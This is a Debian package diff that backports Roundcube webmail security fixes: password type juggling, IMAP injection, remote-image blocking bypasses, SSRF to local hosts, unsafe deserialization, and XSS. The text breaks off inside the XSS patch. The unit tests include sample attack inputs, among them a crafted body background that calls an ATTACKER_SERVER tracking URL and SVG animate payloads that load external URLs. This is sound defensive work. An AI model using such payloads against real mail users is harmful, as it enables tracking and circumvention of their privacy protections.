@@ -1,3 +1,25 @@
+roundcube (1.6.5+dfsg-1+deb12u8) bookworm-security; urgency=high
+
+  * Cherry pick upstream security fixes from v1.6.14 (closes: #1131182):
+    + Fix pre-auth arbitrary file write via unsafe deserialization in
+      redis/memcache session handler.
+    + Fix bug where a password could get changed without providing the old
+      password.
+    + Fix IMAP Injection + CSRF bypass in mail search.
+    + Fix remote image blocking bypass via various SVG animate attributes.
+    + Fix remote image blocking bypass via a crafted <body> background
+      attribute.
+    + Fix fixed position mitigation bypass via use of `!important`.
+    + Fix XSS vulnerability in HTML attachment preview.
+    + Fix SSRF and information disclosure vulnerability via stylesheet links
+      pointing to a local network hosts.
+  * Cherry pick upstream regression fix where mail search would fail on
+    non-ascii search criteria.
+  * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+    not present in bookworm.
+
+ -- Guilhem Moulin <guilhem at debian.org>  Fri, 20 Mar 2026 19:15:19 +0100
+
 roundcube (1.6.5+dfsg-1+deb12u7) bookworm-security; urgency=high
 
   * Cherry pick upstream security fixes from v1.6.13 (closes: #1127447):
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
--- roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,61 @@
+From: Guilhem Moulin <guilhem at debian.org>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian.  The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue.  While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Bug-Debian: https://bugs.debian.org/1131182
+Forwarded: not-needed
+---
+ program/lib/Roundcube/rcube_utils.php | 26 +++++++++++++-------------
+ 1 file changed, 13 insertions(+), 13 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index 8ff1db8..b6677e4 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+ 
+-use IPLib\Factory;
+-
+ /*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+@@ -435,20 +433,22 @@ class rcube_utils
+         if (is_string($host)) {
+             // TODO: This is pretty fast, but a single message can contain multiple links
+             // to the same target, maybe we should do some in-memory caching.
+-            if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
++            if ($address = @inet_pton($host = trim($host, '[]'))) {
+                 $nets = [
+-                    '127.0.0.0/8',    // loopback
+-                    '10.0.0.0/8',     // RFC1918
+-                    '172.16.0.0/12',  // RFC1918
+-                    '192.168.0.0/16', // RFC1918
+-                    '169.254.0.0/16', // link-local / cloud metadata
+-                    '::1/128',
+-                    'fc00::/7',
++                    ['127.0.0.0',   '127.255.255.255'], // loopback
++                    ['10.0.0.0',    '10.255.255.255'],  // RFC1918
++                    ['172.16.0.0',  '172.31.255.255'],  // RFC1918
++                    ['192.168.0.0', '192.168.255.255'], // RFC1918
++                    ['169.254.0.0', '169.254.255.255'], // link-local / cloud metadata
++                    ['::1',         '::1'],
++                    ['fc00::',      'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'],
+                 ];
+ 
+-                foreach ($nets as $net) {
+-                    $range = Factory::parseRangeString($net);
+-                    if ($range->contains($address)) {
++                foreach ($nets as [$range_start, $range_end]) {
++                    $range_start = @inet_pton($range_start);
++                    $range_end   = @inet_pton($range_end);
++                    if (is_string($range_start) && strcmp($range_start, $address) <= 0 &&
++                            is_string($range_end) && strcmp($range_end, $address) >= 0) {
+                         return true;
+                     }
+                 }
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,33 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:18:24 +0100
+Subject: Fix bug where a password could get changed without providing the old
+ password
+
+The password plugin uses loose comparison, leading to a type juggling vulnerability that
+allows password changes without knowing the old password in specific cases.
+
+Reported by flydragon777
+
+Origin: https://github.com/roundcube/roundcubemail/commit/6fa2bddc59b9c9fd31cad4a9e2954a208d793dce
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ plugins/password/password.php | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/plugins/password/password.php b/plugins/password/password.php
+index ebde3ec..e4cdd8a 100644
+--- a/plugins/password/password.php
++++ b/plugins/password/password.php
+@@ -333,10 +333,10 @@ class password extends rcube_plugin
+         else {
+             switch ($type) {
+             case PASSWORD_COMPARE_CURRENT:
+-                $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
++                $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null;
+                 break;
+             case PASSWORD_COMPARE_NEW:
+-                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
++                $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null;
+                 break;
+             default:
+                 $result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,40 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:20:00 +0100
+Subject: Fix fixed position mitigation bypass via use of !important
+
+Reported by nullcathedral
+
+Origin: https://github.com/roundcube/roundcubemail/commit/099009b9c8e1d3c636fb9a5af72f7c2596018662
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_utils.php | 2 +-
+ tests/Framework/Utils.php             | 3 +++
+ 2 files changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index d847461..59a26c0 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -558,7 +558,7 @@ class rcube_utils
+             if ($property == 'page') {
+                 // Remove 'page' attributes (#7604)
+                 continue;
+-            } elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) {
++            } elseif ($property == 'position' && stripos($value, 'fixed') !== false) {
+                 // Convert position:fixed to position:absolute (#5264)
+                 $value = 'absolute';
+             } elseif (preg_match('/expression|image-set/i', $value)) {
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index c0e9aea..9a702d6 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -280,6 +280,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         $mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 0;', 'rcmbody');
+         $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)');
+ 
++        $mod = \rcube_utils::mod_css_styles('.test { position: fixed !important; }', 'rcmbody');
++        $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)');
++
+         // allow data URIs with images (#5580)
+         $mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody');
+         $this->assertStringContainsString("#rcmbody { background-image: url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,42 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:34:13 +0100
+Subject: Fix IMAP Injection + CSRF bypass in mail search
+
+Reported by Martila Security Research Team
+
+Origin: https://github.com/roundcube/roundcubemail/commit/b18a8fa8e81571914c0ff55d4e20edb459c6952c
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/search.php | 4 ++++
+ program/actions/mail/send.php   | 3 +++
+ 2 files changed, 7 insertions(+)
+
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 84b4909..3dac7a5 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -71,6 +71,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+         $sort_column = self::sort_column();
+         $sort_order  = self::sort_order();
+ 
++        // We pass the filter as-is into IMAP SEARCH command. A newline could be used
++        // to inject extra commands, so we remove these.
++        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+         // set message set for already stored (but incomplete) search request
+         if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
+             $rcmail->storage->set_search_set($_SESSION['search']);
+diff --git a/program/actions/mail/send.php b/program/actions/mail/send.php
+index a28d7f9..0226fdc 100644
+--- a/program/actions/mail/send.php
++++ b/program/actions/mail/send.php
+@@ -281,6 +281,9 @@ class rcmail_action_mail_send extends rcmail_action
+         }
+ 
+         if ($savedraft) {
++            // Sanitize the IMAP SEARCH input
++            $message_id = preg_replace('/[\r\n]+/', '', $message_id);
++
+             // remember new draft-uid ($saved could be an UID or true/false here)
+             if ($saved && is_bool($saved)) {
+                 $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER Message-ID ' . $message_id);
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,43 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:11:38 +0100
+Subject: Fix pre-auth arbitrary file write via unsafe deserialization in
+ redis/memcache session handler
+
+Disable GuzzleHttp\Cookie\FileCookieJar instantiation.
+
+Reported by y0us.
+
+Origin: https://github.com/roundcube/roundcubemail/commit/a4ead994d2f0ea92e4a1603196a197e0d5df1620
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/include/iniset.php | 11 ++++++++++-
+ 1 file changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/program/include/iniset.php b/program/include/iniset.php
+index c4ab39f..4dc4937 100644
+--- a/program/include/iniset.php
++++ b/program/include/iniset.php
+@@ -1,6 +1,8 @@
+ <?php
+ 
+-/**
++use GuzzleHttp\Cookie\FileCookieJar;
++
++/*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+  |                                                                       |
+@@ -80,6 +82,13 @@ require_once 'Roundcube/bootstrap.php';
+ // register autoloader for rcmail app classes
+ spl_autoload_register('rcmail_autoload');
+ 
++// disable use of dangerous dependencies
++spl_autoload_register(static function ($classname) {
++    if ($classname === FileCookieJar::class) {
++        throw new \Exception("{$classname} is forbidden for security reasons.");
++    }
++}, true, true);
++
+ /**
+  * PHP5 autoloader routine for dynamic class loading
+  */
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,38 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Thu, 19 Mar 2026 14:11:06 +0100
+Subject: Fix regression where mail search would fail on non-ascii search
+ criteria
+
+Origin: https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1
+Bug: https://github.com/roundcube/roundcubemail/issues/10121
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/search.php | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 3dac7a5..2525b0f 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+         // add list filter string
+         $search_str = $filter && $filter != 'ALL' ? $filter : '';
+ 
++        // We pass the filter as-is into IMAP SEARCH command. A newline could be used
++        // to inject extra commands, so we remove these.
++        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+         if ($search_interval = self::search_interval_criteria($interval)) {
+             $search_str .= ' ' . $search_interval;
+         }
+@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+         $sort_column = self::sort_column();
+         $sort_order  = self::sort_order();
+ 
+-        // We pass the filter as-is into IMAP SEARCH command. A newline could be used
+-        // to inject extra commands, so we remove these.
+-        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+-
+         // set message set for already stored (but incomplete) search request
+         if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
+             $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,60 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:15:43 +0100
+Subject: Fix remote image blocking bypass via a crafted body background
+ attribute
+
+Reported by nullcathedral
+
+Origin: https://github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_washtml.php |  5 +++++
+ tests/Framework/Washtml.php             | 19 +++++++++++++------
+ 2 files changed, 18 insertions(+), 6 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php
+index 4e05462..abca35f 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -427,6 +427,11 @@ class rcube_washtml
+                 return 'data:image/' . $type . ',' . base64_encode($svg);
+             }
+ 
++            // At this point we allow only valid base64 images
++            if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
++                return '';
++            }
++
+             return $uri;
+         }
+     }
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index 457e8eb..ff2ad0f 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -262,12 +262,19 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+         $washer = new rcube_washtml(['html_elements' => ['body']]);
+         $washed = $washer->wash($html);
+ 
+-        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute");
+-        $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body text attribute");
+-        $this->assertMatchesRegularExpression('|background="#test"|', $washed, "Body background attribute");
+-        $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body link attribute");
+-        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body alink attribute");
+-        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body vlink attribute");
++        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute');
++        $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body text attribute');
++        $this->assertMatchesRegularExpression('|background="#test"|', $washed, 'Body background attribute');
++        $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute');
++        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute');
++        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute');
++
++        $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
++
++        $washer = new \rcube_washtml(['html_elements' => ['body']]);
++        $washed = $washer->wash($html);
++
++        $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background');
+     }
+ 
+     /**
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,112 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Tue, 17 Mar 2026 15:53:29 +0100
+Subject: Fix remote image blocking bypass via various SVG animate attributes
+
+Reported by nullcathedral
+
+Origin: https://github.com/roundcube/roundcubemail/commit/39471343ee081ce1d31696c456a2c163462daae3
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_washtml.php | 38 +++++++++++++++++++++++++--------
+ tests/Framework/Washtml.php             | 14 ++++++++++++
+ 2 files changed, 43 insertions(+), 9 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php
+index 8721fe7..4e05462 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -504,22 +504,22 @@ class rcube_washtml
+      * Do it in case-insensitive manner.
+      *
+      * @param DOMElement $node       The element
+-     * @param string     $attr_name  The attribute name
+-     * @param string     $attr_value The attribute value to find
++     * @param string     $attr_value The attribute value to find (regexp)
+      *
+      * @return bool True if the specified attribute exists and has the expected value
+      */
+     private static function attribute_value($node, $attr_name, $attr_value)
+     {
+         $attr_name = strtolower($attr_name);
+-        $attr_value = strtolower($attr_value);
+ 
+         foreach ($node->attributes as $name => $attr) {
+             if (strtolower($name) === $attr_name) {
++                $val = trim($attr->nodeValue);
+                 // Read the attribute name, remove the namespace (e.g. xlink:href => href)
+-                $val = strtolower(trim($attr->nodeValue));
+-                $val = trim(preg_replace('/^.*:/', '', $val));
+-                if ($attr_value === $val) {
++                if ($attr_name === 'attributename') {
++                    $val = trim(preg_replace('/^.*:/', '', $val));
++                }
++                if (preg_match($attr_value, $val)) {
+                     return true;
+                 }
+             }
+@@ -528,6 +528,27 @@ class rcube_washtml
+         return false;
+     }
+ 
++    /**
++     * Check if the node is an insecure element
++     *
++     * @param \DOMElement $node
++     */
++    private static function is_insecure_tag($node)
++    {
++        $tagName = strtolower($node->nodeName);
++
++        if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) {
++            return false;
++        }
++
++        if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
++            return true;
++        }
++
++        return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i')
++            && self::attribute_value($node, 'values', '/url\(/i');
++    }
++
+     /**
+      * The main loop that recurse on a node tree.
+      * It output only allowed tags with allowed attributes and allowed inline styles
+@@ -579,10 +600,9 @@ class rcube_washtml
+ 
+                     $node->setAttribute('href', (string) $uri);
+                 }
+-                else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
+-                    && self::attribute_value($node, 'attributename', 'href')
+-                ) {
++                else if (self::is_insecure_tag($node)) {
+                     // Insecure svg tags
++                    // TODO: We really should use wash_attribs()/wash_uri() for these cases
+                     if ($this->config['add_comments']) {
+                         $dump .= "<!-- {$tagName} blocked -->";
+                     }
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index ef324f8..457e8eb 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -500,6 +500,20 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+                 '<html><svg><defs><filter><feImage xlink:href="http://external.site"/></filter></defs></html>',
+                 '<svg><defs><filter><feImage x-washed="xlink:href"></feImage></filter></defs></svg>',
+             ],
++            [
++                '<svg><animate attributeName="mask" values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
++            [
++                '<svg><animate attributeName="mask" values="none;url(https://external.site);url(https://external.site)"'
++                    . ' repeatCount="indefinite" dur="1s" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
++            [
++                '<svg><animate attributeName="cursor" attributeType="CSS" values="url(https://external.site),auto"'
++                    . ' feel="freeze" dur="1s" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
+         ];
+     }
+ 
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,164 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:35:16 +0100
+Subject: Fix SSRF + Information Disclosure via stylesheet links to a local
+ network hosts
+
+Reported by Georgios Tsimpidas (aka Frey), Security Researcher at https://i0.rs/
+
+Origin: https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/index.php          |  2 +-
+ program/actions/utils/modcss.php        |  2 +-
+ program/lib/Roundcube/rcube_utils.php   | 46 ++++++++++++++++++++++++++++++++-
+ program/lib/Roundcube/rcube_washtml.php |  2 +-
+ tests/Framework/Utils.php               | 34 ++++++++++++++++++++++++
+ 5 files changed, 82 insertions(+), 4 deletions(-)
+
+diff --git a/program/actions/mail/index.php b/program/actions/mail/index.php
+index 9c54955..55b3cb4 100644
+--- a/program/actions/mail/index.php
++++ b/program/actions/mail/index.php
+@@ -1270,7 +1270,7 @@ class rcmail_action_mail_index extends rcmail_action
+         if (isset($attrib['href'])) {
+             $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', $attrib['href']);
+ 
+-            if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
++            if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
+                 $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
+                 $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
+                 $attrib['href'] = $rcmail->url([
+diff --git a/program/actions/utils/modcss.php b/program/actions/utils/modcss.php
+index d1f34b3..8512bdf 100644
+--- a/program/actions/utils/modcss.php
++++ b/program/actions/utils/modcss.php
+@@ -44,7 +44,7 @@ class rcmail_action_utils_modcss extends rcmail_action
+         $ctype  = null;
+ 
+         try {
+-            $client   = rcube::get_instance()->get_http_client();
++            $client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
+             $response = $client->get($realurl);
+ 
+             if (!empty($response)) {
+diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php
+index 59a26c0..8ff1db8 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,6 +1,8 @@
+ <?php
+ 
+-/**
++use IPLib\Factory;
++
++/*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+  |                                                                       |
+@@ -419,6 +421,48 @@ class rcube_utils
+         return asciiwords($str, true, '_');
+     }
+ 
++    /**
++     * Check if an URL point to a local network location.
++     *
++     * @param string $url
++     *
++     * @return bool
++     */
++    public static function is_local_url($url)
++    {
++        $host = parse_url($url, \PHP_URL_HOST);
++
++        if (is_string($host)) {
++            // TODO: This is pretty fast, but a single message can contain multiple links
++            // to the same target, maybe we should do some in-memory caching.
++            if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
++                $nets = [
++                    '127.0.0.0/8',    // loopback
++                    '10.0.0.0/8',     // RFC1918
++                    '172.16.0.0/12',  // RFC1918
++                    '192.168.0.0/16', // RFC1918
++                    '169.254.0.0/16', // link-local / cloud metadata
++                    '::1/128',
++                    'fc00::/7',
++                ];
++
++                foreach ($nets as $net) {
++                    $range = Factory::parseRangeString($net);
++                    if ($range->contains($address)) {
++                        return true;
++                    }
++                }
++
++                return false;
++            }
++
++            // FIXME: Should we accept any non-fqdn hostnames?
++            return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
++        }
++
++        return false;
++    }
++
+     /**
+      * Replace all css definitions with #container [def]
+      * and remove css-inlined scripting, make position style safe
+diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php
+index abca35f..6799038 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -393,7 +393,7 @@ class rcube_washtml
+         }
+ 
+         if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
+-            if (!empty($this->config['allow_remote'])) {
++            if (!empty($this->config['allow_remote']) || rcube_utils::is_local_url($uri)) {
+                 return $uri;
+             }
+ 
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index 9a702d6..8a95001 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -552,6 +552,40 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         }
+     }
+ 
++    /**
++     * Test is_local_url()
++     *
++     * @dataProvider provide_is_local_url_cases
++     */
++    #[DataProvider('provide_is_local_url_cases')]
++    public function test_is_local_url($input, $output)
++    {
++        $this->assertSame($output, \rcube_utils::is_local_url($input));
++    }
++
++    /**
++     * Test-Cases for is_local_url() test
++     */
++    public static function provide_is_local_url_cases(): iterable
++    {
++        return [
++            // Local hosts
++            ['https://127.0.0.1', true],
++            ['https://10.1.1.1', true],
++            ['https://172.16.0.1', true],
++            ['https://192.168.0.100', true],
++            ['https://169.254.0.200', true],
++            ['http://[fc00::1]', true],
++            ['ftp://[::1]:8080', true],
++            ['//127.0.0.1', true],
++            ['http://localhost', true],
++            ['http://localhost.localdomain', true],
++            // Non-local hosts
++            ['http://[2001:470::76:0:0:0:2]', false],
++            ['http://domain.tld', false],
++        ];
++    }
++
+     /**
+      * rcube:utils::strtotime()
+      */
diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch
--- roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch	2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,26 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Wed, 18 Mar 2026 10:23:34 +0100
+Subject: Fix XSS issue in a HTML attachment preview
+
+Reported by aikido_security
+
+Origin: https://github.com/roundcube/roundcubemail/commit/10a6d1fa8acac85c727b0a6ae4a6642bfa27bea1
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/include/rcmail_action.php | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/program/include/rcmail_action.php b/program/include/rcmail_action.php
+index 9cb41da..4266ac1 100644
+--- a/program/include/rcmail_action.php
++++ b/program/include/rcmail_action.php
+@@ -691,6 +691,9 @@ abstract class rcmail_action
